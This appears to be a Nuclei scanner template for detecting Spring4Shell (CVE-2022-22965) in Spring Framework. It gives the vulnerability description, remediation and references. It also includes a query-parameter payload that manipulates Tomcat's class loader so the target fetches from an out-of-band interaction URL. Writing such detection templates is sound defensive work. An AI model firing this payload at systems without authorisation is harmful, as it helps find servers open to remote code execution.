id: spring4shell-CVE-2022-22965 info: name: Spring Framework RCE via Data Binding on JDK 9+ author: DhiyaneshDK,ritikchaddha severity: critical description: | A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it. impact: | Attackers can achieve remote code execution on Spring applications running on JDK 9+ and Tomcat through data binding exploitation, potentially compromising the entire application server. remediation: | Upgrade Spring Framework to versions 5.3.18, 5.2.20, or later that properly validate class property access during data binding. reference: - https://spring.io/security/cve-2022-22965 - https://pentest-tools.com/blog/detect-exploit-spring4shell-cve-2022-22965 - http://packetstormsecurity.com/files/167011/Spring4Shell-Spring-Framework-Class-Property-Remote-Code-Execution.html - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0005 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-22965 cwe-id: CWE-94 epss-score: 0.94428 epss-percentile: 0.99985 cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: vmware product: spring_framework tags: packetstorm,cve,cve2024,dast,spring,rce,kev,vkev,vuln http: - pre-condition: - type: dsl dsl: - 'method == "GET"' payloads: nix_fuzz: - 'class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}' fuzzing: - part: query type: replace # replaces existing parameter value with fuzz payload mode: multiple # replaces all parameters value with fuzz payload fuzz: - '{{nix_fuzz}}' matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: word part: interactsh_request words: - "User-Agent: Java" case-insensitive: true # digest: 490a0046304402206d787c4fc82fdb64afa9f1f3dade8ab5182d4c1921969424fbb2667a899075a90220294661767c428311952fd5e84e44bb712c7e2599602b89eec1b5f57c85c819e7:922c64590222798bb761d5b6d8e72950